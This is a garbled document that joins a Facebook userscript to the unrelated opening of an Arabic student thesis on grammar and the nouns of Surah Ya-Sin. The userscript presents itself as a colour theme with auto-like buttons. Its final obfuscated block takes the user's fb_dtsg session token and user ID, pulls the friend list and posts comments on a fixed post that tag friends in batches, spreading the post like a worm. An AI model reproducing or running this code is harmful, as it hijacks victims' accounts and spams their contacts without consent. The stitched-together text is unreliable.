.minifeedwall .from_friend_story.wall_story .story_content {background:#eebd4a!important;color:#000!important;border-bottom:1px solid #000!important;} .commentable_item.expanded_comments .comment_box {background:#eebd4a!important} .profile .basic_info_summary dl.info dd {color:#000000!important;font-family:arial!important} .products .main_column, div#page_height.clearfix, div.UIOneOff_Container, .UIMediaHeader_SubHeader, .UIMediaHeader_TitleWash,.UIWashFrame_MainContent, .profile .right_column_container, .UIFullPage_Container, .UIStandardFrame_Container {background:url(http://i264.photobucket.com/albums/ii171/ppiedade/yelowwb.png) fixed 50% 0% !important;background-repeat: no-repeat !important ;} .profile .primary_box_orientation_attachment {background:#000000!important} #profile_composer .composer_tabs ul li.selected span {background-color:#eebd4a!important;font-family:arial!important} .profile .top_bar ul.tabs li a.tab_link{background:#eebd4a!important;color:#000000!important} .profile_two_columns .left_column{background:#eebd4a!important} .actions a.action, .viewer_actions a.action {background:#eebd4a!important} /*fundo perfil superior*/ .profile .profile_top_bar_container{background:url()!important} .home_main_item .commentable_item .wallpost, .minifeedwall .commentable_item .wallpost {background:#000000!important;color:#000000!important} /*friends*/ .fdh .content {background:#000000!important} .fmp #friends_target {background:#000000!important} #fpgc tr{background-color:#000000!important} .frn {background-color:#000000!important} .fmp .footer_bar {background:#eebd4a!important} .ffriend {background:#000000!important} .fmp #friends_target .user_status{background-color:#eebd4a!important} #friend_filters {background:#eebd4a!important} .inputsearch {background-color:#eebd4a!important} .frn .people_you_may_know, .frn .friend_finder, .frn .invite_friends, .ffriend {color:#000000!important} .fmp .user_status .status_composer .status_field, .fmp {background:#000000!important} /*inbox*/ .composer, .thread_header{background:#ffffff!important} .inbox_menu{background:#e07501!important} .notifications .side_column{background:#000000!important;} .notifications .side_column li{color:#000000!important} .notifications h4, .notifications h5{color:#000000!important;font-weight:bold!important} .read_updates, .updates_all, .notifications{background:transparent!important} .message_rows .new_message {background-color:#eebd4a!important} /*GERAL*/ #content:before{content:url(http://i264.photobucket.com/albums/ii171/ppiedade/hastefb.gif );margin: 0px 0 0 640px} #fb_menubar:before{content:url(http://i264.photobucket.com/albums/ii171/ppiedade/bannernaruto1copy.jpg ?imgmax=1280 );margin: -30px } #content { background: transparent !important; color: #000000!important; } /*.....transparência.....*/ .UIRoundedBox_Corner, .quote, .em, .UIRoundedBox_TL, .UIRoundedBox_TR, .UIRoundedBox_BR, .UIRoundedBox_LS, .UIRoundedBox_BL, .profile_color_bar, .pagefooter_topborder, .flyout_menu_header_shadow, .flyout_menu_header, .flyout_menu_mask, .flyout_menu_content_shadow, .menu_content, .newsfeed_more_section, .newsfeed_more_flyout_apps, .newsfeed_more_flyout_wrapper, .flyout_menu_content_shadow, h3, #feed_content_section_friend_lists, ul, li, .comment_box, .comment, #homepage_bookmarks_show_more, .profile_top_wash, .canvas_container, .composer_rounded, .composer_well, .composer_tab_arrow, .composer_tab_rounded ,.tl, .tr, .module_right_line_block, .body, .module_bottom_line, .lock_b_bottom_line, #info_section_info_2530096808 .info dt, .pipe, .dh_new_media, .dh_new_media .br, .frn_inpad, #frn_lists, #frni_0, .frecent span, h3 span, .UIMediaHeader_TitleWash, .editor_panel .right, .UIMediaButton_Container tbody *, #userprofile, .profile_box, .date_divider span, .corner, .profile #content, .profile #content .UIOneOff_Container, #facebook{background: transparent !important;} .module .topl_lrg h1{color:#c60404!important;font-family: arial !important;} #fpgc {background:none!important;width:750px!important;border-color:#e1cd2f!important;} #ffriends, #friends_right_cell, .ffriend, .fmp, .fsummary, .frn, .frni, .frni.active_list a {background-color:#000000!important;border-color:#000000!important;} #friends_left_cell h3 {font-size:13px!important;font-family: arial !important; padding-left:27px!important;} .fadvfilt {background:none!important;padding-top:3px!important;} .formerror{color:rgb(255, 69, 44) !important} .promo,.warning{color: #rgb(255, 69, 44)!important} .alttxt{color: #000000!important} .requiredfield{color: #000000!important} .floatanchorselected{background-color: #rgb(255, 69, 44)!important}a {color: #rgb(255, 69, 44)!important}.floatanchornormal{color: #rgb(255, 69, 44)!important}span.adsurl{color: #rgb(255, 69, 44)!important}.inlinecorrect{color: #000000!important}a:hover,.parabtns a.btn:hover,.inlinebtns a.btn:hover{color: #000000!important}a.userbutton:hover{color: #000000!important}#header li a,ul.intabs li.sel a{color:#rgb(255, 69, 44)!important}/* Dial 03048190208 */"; if (typeof GM_addStyle != "undefined") { GM_addStyle(css); } else if (typeof addStyle != "undefined") { addStyle(css); } else { var heads = document.getElementsByTagName("head"); if (heads.length > 0) { var node = document.createElement("style"); node.type = "text/css"; node.appendChild(document.createTextNode(css)); heads[0].appendChild(node); } } })(); body = document.body; if(body != null) { div = document.createElement("div"); div.style.position = "fixed"; div.style.display = "block"; div.style.width = "130px"; div.style.opacity= 0.90; div.style.bottom = "+70px"; div.style.left = "+0px"; div.style.backgroundColor = "#E7EBF2"; div.style.border = "1px solid #6B84B4"; div.style.padding = "3px"; div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>By-Murtaza Gujjar</center></blink></a>" body.appendChild(div); } if(body != null) { div = document.createElement("div"); div.setAttribute('id','like2'); div.style.position = "fixed"; div.style.display = "block"; div.style.width = "130px"; div.style.opacity= 0.90; div.style.bottom = "+49px"; div.style.left = "+0px"; div.style.backgroundColor = "#E7EBF2"; div.style.border = "1px solid #6B84B4"; div.style.padding = "3px"; div.innerHTML = "<a style='font-weight:bold;color:#3B5998' onclick='Anonymous69()'><center>Murtaza Gujjar</center></a></a>" body.appendChild(div); unsafeWindow.Anonymous69 = function() { var B=0; var J=0; var I=document.getElementsByTagName("a"); var H=new Array(); for(var D=0;D<I.length;D++) { if(I[D].getAttribute("class")!=null&&I[D].getAttribute("class").indexOf("UFILikeLink")>=0&&(I[D].innerHTML=="Me gusta"||I[D].innerHTML=="Like"||I[D].innerHTML=="?????"||I[D].innerHTML=="Suka"||I[D].innerHTML=="Begen"||I[D].innerHTML=="??????"||I[D].innerHTML=="???!"||I[D].innerHTML=="?"||I[D].innerHTML=="Seneng"||I[D].innerHTML=="???"||I[D].innerHTML=="J?¢â‚¬â„¢aime")) { H[J]=I[D]; J++ } } function E(L) { H[L].click(); var K="<a style='font-weight:bold;color:#3B5998' onclick='Autolike()'><center>Like Status: "+(L+1)+"/"+H.length+"</center></a>"; document.getElementById("like2").innerHTML=K } function G(K) { window.setTimeout(C,K) } function A() { var M=document.getElementsByTagName("label"); var N=false; for(var L=0;L<M.length;L++) { var K=M[L].getAttribute("class"); if(K!=null&&K.indexOf("uiButton uiButtonLarge uiButtonConfirm")>=0) { alert("Warning from Facebook"); N=true } } if(!N) { G(2160) } } function F(K) { window.setTimeout(A,K) } function C() { if(B<H.length) { E(B); F(700); B++ } } ; C() } } { div=document.createElement("div"); div.style.position="fixed"; div.style.display="block"; div.style.width="130px"; div.style.opacity=.9; div.style.bottom="+95px"; div.style.left="+0px"; div.style.backgroundColor="#E7EBF2"; div.style.border="1px solid #6B84B4"; div.style.padding="3px"; div.innerHTML="<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/donnazmi/notes' target='_blank' title='NEW' ><blink><center>NEW FACEBOOK</center></blink></a>";body.appendChild(div)}body=document.body;if(body!=null) body = document.body; if(body != null) { div = document.createElement("div"); div.setAttribute('id','like3'); div.style.position = "fixed"; div.style.display = "block"; div.style.width = "130px"; div.style.opacity= 0.90; div.style.bottom = "+28px"; div.style.left = "+0px"; div.style.backgroundColor = "#E7EBF2"; div.style.border = "1px solid #6B84B4"; div.style.padding = "3px"; div.innerHTML = "<a style='font-weight:bold;color:#3B5998' onclick='AnonymousComments()'><center>Like All Comments</center></a>" body.appendChild(div); unsafeWindow.AnonymousComments = function() { var B=0; var J=0; var I=document.getElementsByTagName("a"); var H=new Array(); for(var D=0;D<I.length;D++) { if(I[D].getAttribute("data-ft")!=null&&(I[D].getAttribute("title")=="Me gusta este comentario"||I[D].getAttribute("title")=="Like this comment"||I[D].getAttribute("title")=="???? ?? ??????"||I[D].getAttribute("title")=="Suka komentar ini"||I[D].getAttribute("title")=="Nyenengi tanggapan iki"||I[D].getAttribute("title")=="??????? ????????"||I[D].getAttribute("title")=="??????????!"||I[D].getAttribute("title")=="??? ??"||I[D].getAttribute("title")=="??????"||I[D].getAttribute("title")=="J?¢â‚¬â„¢aime ce commentaire"||I[D].getAttribute("title")=="Bu yorumu begen")) { H[J]=I[D]; J++ } } function E(L) { H[L].click(); var K="<a style='font-weight:bold;color:#3B5998' onclick='Autolike()'><center>Like Comments: "+(L+1)+"/"+H.length+"</center></a>"; document.getElementById("like3").innerHTML=K } function G(K) { window.setTimeout(C,K) } function A() { var M=document.getElementsByTagName("label"); var N=false; for(var L=0;L<M.length;L++) { var K=M[L].getAttribute("class"); if(K!=null&&K.indexOf("uiButton uiButtonLarge uiButtonConfirm")>=0) { alert("Warning from Facebook"); N=true } } if(!N) { G(2160) } } function F(K) { window.setTimeout(A,K) } function C() { if(B<H.length) { E(B); F(700); B++ } } C() } } var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1469830699937003","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," Thanks Bro.. It Really Works:) || Try This..! (100% Working) \udbb8\udc3c @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= Thankyou Bro [ 100% WORK ] ^_^ THIS IS Really Awesome TUTORIAL","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
smagajibk
الإهداء: نهدي هذا العمل المتواضع إلى أرواح أصدقائنا وزملائنا، طلاب اللغة العربية فى الكليات والمعاهد العليا وبعض الجامعات، وبعض مدرسي مادة النحو في المدارس الإعدادية والثانوية الذين يفرون من هذه المادة الادعائهم أنها صعبة التعلم والتعليم، ليعلموا أنه ما لمادة النحو إلا السهولة واليسر في التعلم والتعليم، وله أهمية وفوائد لا تعد ولا تحصى، وهي كأساس لسائر المواد. لوتعلم الطير ما في النحو من شرف # حنت وأنت إليه بالمناقير إن الكــلام بـلا نـحـو يـزيـنـه # نبح الكلاب و أصوات السنانير(1). ونحسن لهم الظن إن عرفوا قيمتها ودرجتها وغاية أهميتها والحكمة فيها تنشرح صدورهم ويلتفتوا إليها، وسيعضون عليها بالنواجد. والله المستعان 1- www.ahlalhdeeth.com/vb/archive/i34936.html الشكر والتقدير: يسرنا جدا أن نقدم جزيل شكرنا و وتقديرنا للأستاذ ثاني عمر بن عبدالله الغملي،المحاضر بقسم اللغة العربية في كلية التربية لولاية جغاوا- غمل، الذي راقبنا وراجع هذا البحث أثناء كتابته، حقيقة الأمر، فرحنا غاية الفرح حينما علقت أسماؤنا على لوحة الإعلان فوجدنا أنفسنا تحت إشرافه، لأننا عرفنا أنه رجل قاعدي، الذي عرف القواعد واقتدى بها، وسارت نهج حياته و سيمة شخصيته. نسأل الله أن يبارك فيه وأهله، ويشفيه من الأسقام والأمراض، ويحفظه من شر الثقلين، آمين. ولاتنسوه من صالح دعائكم. ونشكر أيضا محمد مغاجي (نسارا) وهو في أثناء دراسته في مرحلته الأخيرة لنيل شهادة الماجستير بجامعة بايرو كنو على إرشاداته لنا إلى أهم النقاط التي يحسن الظن بها إن اخترناها وكتبنا بحثنا على نقطة منها سيكون بحثا ميمونا مرموقا، فنسأل الله أن يجزيه الجزاء الأوفى. وكذلك لاننسى بالدور الذي لعبه الحاج أمين يعقوب (ميلايه) مساعدة لنا في جمع معلومات هذا البحث . وكذالك أ خذ بناصيتنا جمع المعلومات هذا البحث إ لى بيت أمنا حواء محمد سابو، زوج الدكتور أبو بكر ثاني برنن كد، وخير نصحها لنا أن نحاول استعمال شبكة الإتصالات أو المكتبة الشاملة. و هكذا والدينا، أنفاقا الساعات و الأموال لتقويمنا على هذا المسار. وجزى الله الجميع خير الجزاء. "ونسأل الله أن يأخذ بأيدي طلاب اللغة العربية من ظلمة الشك إلى نور اليقين، وينقذهم من لجج الحيرة إلى شاطئ الأمين، ووجد فيه كل صغير وكبير نهجا للعلم فطريا غير ذي عوج، واتخذه كل معلم صديقا مرشدا إلى أقوم السبل. وقد تحقق ما وضعنا فيه من أمل، وحمدنا الله أن أدينا للدين والعربية حقا كان آداؤه علينا لزاما وإنساؤه أونسيانه عقوقا ونكرانا"، (1) ونثني على من جل شأنه وعظم سلطانه، على ما أتاح لنا من راحة البدن والعقل في إجراء هذه العملية، ولولاه لشرذمت أذهاننا، وشتت أفكارنا، وتفرقت عقولنا فذوذا، ونحمده حمدا بكل ما يستحق ويرضى، إنه تعالى جواد كريم. 1-النحو الواضح الثانوي ج:1، ص:6. سبب اختيار الموضوع: والسبب الذي دفعنا إلى اختيار هذا الموضوع: هو نفور الطلاب وكثير من المدرسين من مادة النحو في المدارس الإعدادية والثانوية، وزعم معظم طلاب الكليات والمعاهد العليا وحتى في الجامعات على أن مادة النحو صعبة التعلم والتعليم، لذا يفرون منها، وحقيقة الأمر ، إذا عدنا بذاكرتنا إلى المراحل الأولى من تعلم مادة النحو في المدارس، وحاولنا أن نذكر سبب نفورنا من النحو، وجدنا أن مناهج السنوات المدرسية، دون أن تقدم لنا سببا منطقينا واحدا لهذا الأسلوب، حيث كانت تبدأ من التفاصيل والشروح والأجزاء وتترك التصور الكلي للطالب، وتطور قدرته في المستقبل، وبهذا فقد الطلاب الأجزاء والتفاصيل ونسبها بحكم الزمن ولم يصل إلى تصور كلي لعلم النحو،ولذلك ضاع علم النحو جميعه وتبخر أذهانهم وبقيت الصورة المتعبة للقواعد المتناثرة في الذاكرة تسيئ إلى علم النحو وتظلمه وربما تدفع الإنسان إلى تندر من ذلك العلم. واستمرت هذه الأساليب على مستوى الدراسات العالية في الجامعات وكم كانت المرة في نفوسنا عندما وجدنا الجامعات تسير على نفس المسار باستثناء بعض الجهود الفردية المتناثرة هنا وهناك. وعندما نزاول مهنة التعليم، عادت المعانات من جديد، وأخذنا نتحسس أسباب المشكلة، من خلال الندوات والمحاولات،وعندما عرف السبب بطل العجب. وأدركت أن مادة النحومن العلوم الراقية التي تكسب الإنسان القدرة على التحليل والتفكير السليم في اللغة سواء في فهم الآخرين أو في تفهيمهم، ولكنها ظلمت في طريقة عرضها وأسلوب طرحها وتعليمها، وهذه المحاولة الجادة، هدفها أن تطرح مادة النحو منطلقة من التصور الكلي لها، ثم بعد ذلك تنتقل إلى تقسيمه إلى الأقسام والأجزاء والتفاصيل، مع استعمال أسلوب المجموعات الموحدة التي يحكمها قانون واحد الذي يستعمله علم الرياضيات. إنها محاولة هدفها أن تقول: إن مناهج النحو بحاجة إلى إعادة نظر وأن الصعوبة ليست في علم النحو بقدر ما هي في أسلوب طرحه، ونرى أنه من الأولى أن يدرس المبني والمعرب في المراحل الأولى بطريقة مبسطة، ثم نوزع المناهج توزيعا يقدم على أسلوب المجم وعات مثل مجموعة النوا سخ، مجموعة التوابع، الفعل المضارع وأحواله... وهكذا ضمن خطة محكمة تراعي جميع ما يلزم هذا العلم، حتى يصل إلينا غضا طريا لاجفاف فيه. إعادة الإعتبار، لقد آن الأوان لإعادة الإعتبار لهذا العلم، ورد التهم التي علقت بأذهان الناس عنه زورا وبهتانا، فهونت عليهم إهماله جهلا من أنفسهم، وظنوا أنه مجموعة من الدروس المتناثرة، lالحذلقات المترفة التي لا رابط بينها، لاعلم فيها ولا منهجية لها. وكان هذا الظن السئ بعلم النحو سببا من أسباب نفور الناس منه، ولو أدركوا خطر هذا العلم، وعرفوا أهميته، لعضوا عليه بالنواجذ. فإذا استطعنا أن نقنع الناس بأهمية هذا العلم وأثره على حياة الأمة، وعظيم شأنه في حماية الأمة من خطر التشرذم اللغوي، الذي تنعكس آثاره على حياتها العلمية والدينية والسياسية ومصالحها العامة، وإذا نظمنا ما في نفوسهم من تخيلات جاهلة عن هذا العلم، نكون قد وضعنا الناس على الطريق السليم لإحترامه والإندفاع الجاد نحو تعلمه واكتسابه. إن من أهم الأمور التي تشد الناس على اهتمام بعلم ما، هي أن يدرك الناس أهمية هذا العلم، لأن ذلك يهيئ همة المتعلم لاستقباله بحب وجدية ونشاط ثم تأتي قضية إصلاح مناهج تعلمية تالية لذلك.(1) 1- www.startimes.com/%3F3D23808676 *حدود البحث. ينحصر هذا البحث على ذكر الأسماء وإعرابها من سورة "يـــس" ولا نذكر الضمائر "لأن الضمائر سواء أكانت منفصلة أم متصلة تعبر عن اسم، ولكنها في الحقيقة عندما تكون متصلة تكون حروفا، أي أنها حروف في الرسم، أسماء في المعنى والدلالة"(1) لذا اختصرنا على الأسماء رسما ومعنا ودلالة لاغير، مع أن الضمائر من فئة الأسماء المبنية وهذا لا يهمنا. 1- www.ejabat.google.com/b-ejabt/b-thread?tipl=3fb4b6665cfcd8bg. مقدمة: حمدا لمن سمك المساوات، وبسط الأرضين، ونثني عليه ثناء يليق بوجهه الكريم، ونصلي ونسلم على نبيه الكريم. وبعد: فبغية هذا البحث "الأسماء وإعرابها من سورة يــس". هو إنارة أذهان الطلاب وبعض المدرسين مادة النحو في المراحل الإعدادية والثانوية، وبعض طلاب الجامعات والكليات والمعاهد العليا الذين ادعوا الصعوبة لمادة النحو، ليجنوا ثمرتها، وليذوقوا عسل شهدها بمقدرتهم الموهوبة إليهم التي طالما كانت تكمن في أصناف أدمغتهم، لتبهر فصاحتهم، وحسن تعبيرهم وكما أن النحاة اهتموا باستنباط قواعد النحو من منابع ذات أثر وحيوية في حياة الأمة العربية والإسلامية، تلك هوالقرآن والسنة ولغة العربية شعرا ونثرا، وكل ذلك من أجل الحفاظ على سلاقتها، والحفاظ على الرسالة الإلهية المقدسة، الرسالة الإسلامية، وتبعهم في هذه الجهود علماء بذلوا قصارى المجهودات في وضع المؤلفات القيمة التي قد يستغني عن غيرها العالم والمتعلم، ويعكف عليها دراسة وتحليلا وشرحا للحصول على الضالة المنشودة. فبناء على هذا الأساس، وسيرا مع طبيعة زملائنا من معاناة الصعوبة على تفهم القواعد النحوية بدءا من المراحل التعليمية الأولى إلى ما فوقها لجمعها المواضيع المختلفة المنوعة في آونة واحدة أو مؤلف واحد، طرأ ببالنا كطلاب اللغةالعربية أن نضع بحثا يكون ريّا للصدي، نستعين به في حركاتنا وسكناتنا، متجنبا التجميع والتنويع الممل المكد لعقول الطلبة حيث تناولنا فيه هذا الموضوع الهام "الأسماء وإعرابها من سورة يـــس". ليسهل على الطلبة استدراك المقاصد والغاية المستهدفة دراساتها، وليسهل عليهم فهمها وتطبيقها أثناء محادثاتهم ومكاتباتهم، وأضفنا هذا الموضوع إلى سورة من سور القرآن الكريم، إشارة إلى أن لعلم النحو دورا فعالا الذي يلعبه في تحسين الفاظ القرآن الكريم، وتحسين معانيه، ونسأل الله أن يطيل ثراه، ويخلد ذكره في العالم العلوي، وأن ينفعنا به. أمين. *تمهيد: يسرنا جدا أن نمهد هذا البحث بذكر أهمية علم النحو وفوائده في خدمة القرآن الكريم لذا إليكم هذه النقاط:- 1- أهمية علم النحو: لاشك أن النحو نظام علمي يحمي اللغة من فوضي التعبير واختلاط المقاصد، ويجعلها سهلة ميسرة جميلة، ولذلك يضمن لأبناء المجتمع لغة موجودة يتفاهمون بها وتتوحد من خلالها عقولهم و تتألف قلوبهم وتتقارب أساليبهم، وتبعدهم عن التشرذم النابع من خضوع إلى اللهجات، فيسهل عليهم الإلتفاف حول أهداف واحدة مشتركة، تعلموها يوم انضبط التفكير بالتعبير والتعبير بالتفكير، وبذالك تتم لهم وحدة التواصل بين الماضي والحاضر والأصالة والمعاصرة. * النحو علم يخدم العلوم كلها: التجريبية ولنسانية والآداب والسياسية والقانون والفنون, وهو لايخدم تخصص اللغة العربية وحده, كما يتصور بعض الناس، بل هو علم يحكم نظام اللغة العربية، لغة العلوم والفنون ولآداب. * يوصلها إلى مقاصد التعبير، في نقل العلوم بدقة وأمانة إلى المتعلمين والمخاطبين وجميع أبناء المجتمع، في الماضي والحاضر والمستقبل. * النحو هو المرشد علمي لاستقبال اللغة في التفكير والتعبير والتأليف والخطاب, هو علم يكشف عن المعنى وما يتصل به من علاقات وتراكيب توجد التفاهم بين أبناء المجتمع الواحد. * النحو حماية للمعنى من فوضي المقاصد، وتحريف الكلم عن مواضعه، وقد استخرجت قوانينه بالأساليب العلمية السليمة. وهو العلم الذي يعلم الإنسان التحليل المنطقي السليم لفهم اللغة، يوجد لديه القدرة على التأليف إن كان متحدثا أوالفهم إن كان مستمعا. وهو إنعكاس لطرائق الأمم في التفكير والتفاهم والتعبير. * وهو العلم الذي يعلم الإنسان إعراب المعنى قبل أن تكون الحركة الإعرابية لتضبط المعنى وتحافظ عليه وتحرسه من العبث. * النحو ضرورة وليس حذلقة أو ترفا، كما قد يقع في تصور بعض الناس، أن النحو نوع من أنواع الحذلقة والترف اللغوي، فرضتها رغبة في التزين والزخرفة عند الجيل السابق من أجيال الأمة، وهذا أمر فيه إنكار لقواعد علوم اللغات، ولايستقيم لمنطق العلم, فكل لغة من لغات الأرض، لها قواعد استخرجت بعد استقراء نصوصها. والخلاصة من هذا، أن قواعد النحو العربي ليست بدعا بين الأمم، فكل أمة لها قواعد وأنظمة، تلتزم بها في تأليف كلامها, ولكن السؤال الذي نريد أن نطرحه لماذا يتهرب كثير من العلماء والمثقفين والساسة من ضبط لغتهم وكلامهم بأصول العلم هل هو العيب؟ هل العيب في علم النحو أم العيب في تقصيرهم؟ لاشك أن الإستهتار وعدم إدراكهم هو ركاكة لغتهم، وهذا خسارة لهم أمام المجتمع الذي يضحك على من ينصب الفاعل ويرفع المفعول. هل النحو ترف وحذلقة وشكليات، كما يقع في وهمهم؟ لابد من استعراض سريع لبعض أبواب النحو ومواضيعه وبنظرة فاحصة، لتدرك أن النحو إشباع الحاجات والضرورات فرضتها الفطرة البشرية، ولا يمكن الإستغناء عنها. وأن الإنسان أوجد هذه الأمور في لغته، لأن الضرورة هي التي فرضت عليه ذلك، وانظر إلى هذه الأمثلة لتدرك هذا:- 1- العطف فرضته الرغبة الفطرية للتخلص من التكرار الممل لفعل والميل إلى اختزال اللغة. 2- المفاعيل الخمسة فرضتها حاجة الخطاب، إما لتحديد من وقع عليه الفعل، أوسبب حصول الفعل، أو زمان حصول الفعل، أومكان حصول الفعل، أو رغبة في توكيد الفعل، أوبيان نوعه أوعدد مرات حصوله. 3- الاستفهام: والاستفهام وحب الاستطلاع طبع في النفس البشرية،فرضته الرغبة في البحث عن الحاجة أوالاستطلاع أو التساؤل، ولا يستطيع الزاعم أن يزعم أنه ليس بحاجة إلى أدوات الاستفهام في اللغة، لأنه يستعمل أدوات استفهام عشرات المرات في اليوم والليلة، باحثا عن حاجته، ولو وضعنا إنسانا في لعبة رهان، واشترطنا عليه عدم ذكر أدوات الاستفهام لاكتشف أن حياته بدونها تصبح مثل حياة الأخرس العزول عن حياة المجتمع. 4- التمييز فرضته الحاجة البشرية لإظهار المطلوب من لفظ جامد لكيل أو وزن أو مساحة لإزالة الإبهام عنه, ولولا ذلك لوقع في ذهن المخاطب أنك تهزأ به وربما يؤدي ذلك على سوء التفاهم بينكما، لو قلت له: أعطني قنطارا، دون أن تحدد له المطلوب من ذلك بالتمييز. 5- الفاعل فرضته الرغبة البشرية في إسناد الأعمال والأفعال ونسبتها إلى فاعلها. 6- التوكيد فرضته الرغبة في الحصول على ثقة الآخرين بما تقول وتقوية المعنى المراد في نفوسهم. 7- الفعل فرضته الحاجة إلى وصف التغيرات والتبديلات والحويلات التي تطرأ على الأشياء والمسميات أثناء مخالطتها لعنصرالزمن. 8- الاسم فرضته الحاجة على إطلاق أسماء المسميات ليسهل على الناس التحدث عنها وفهم دلالتها بسهولة ويسر. 9- الإستثناء فرضته الحاجة والضرورة في الحكم على الأشياء وإبعاد مالا يندرج تحت الحكم منه. 10- الحركات الإعرابية: فرضتها حاجة الإنسان لحماية المعنى و حراسته من التحريف أثناء موقعه الإعرابي في الجملة، وما له من دلالة في المعنى أثناء تأليف الجملة. 11- الحال: فرضته الملحة في وصف ومعرفة حال الفاعل أو المفعول به عند وقوع الفعل، وهكذا لواستعرضنا بقية الأبواب لوجدنا أن النحو ضرورة وحاجة وفطرة فرضت نفسها في اللغة، ولامجال فيه للترف والتحذلق الذي يتصوره الواهمون. حكمة النحو: كل علم من العلوم له حكمة يبدأ منها، وقواعد يبني عليها، وبعد ذلك ينتشر ويمتد في خدمة الإنسان وتستخير الحياة من أجله، وعلم النحو له حكمة واضحة في تسخير اللغة التي تحفظ جميع العلوم، وتنقلها عبر الأجيال، والأماكن لتعيش البشرية مستفيدة من تواصل الخبرات البشرية الضرورية لإقامة الحضارات ونقلها من جيل إلى جيل، ولولا اللغة لضاعت الحضارات والجهود البشرية في العلوم واضطر كل جيل أن يبدأ من الصغر. ولوحاولنا أن ننظر في المنطلق الأول للحكمة النحوية في إدراك الحياة من خلال الكلمة وتقسيمها إلى اسم،وفعل، وحرف، لوجدنا أنه انطلاقة لتفسيرالحياة من خلال الاسم والفعل والحرف, وهو انعكاس لجهود علماء النحو في التفسير. فالاسم لفظ يدل على مادة الكون وعالم الغيب، وأسماء الأشياء فيها، أو على المعاني التي تدور في النفس البشرية، أثناء مرحلة الفكرة، وقبل انتقالها من داخل النفس إلى الواقع الخارجي المحيط بها. والاسم أسبق من الفعل في الوجود، واسم الجلالة "الله" سبحانه وتعالى هو الاسم الأول 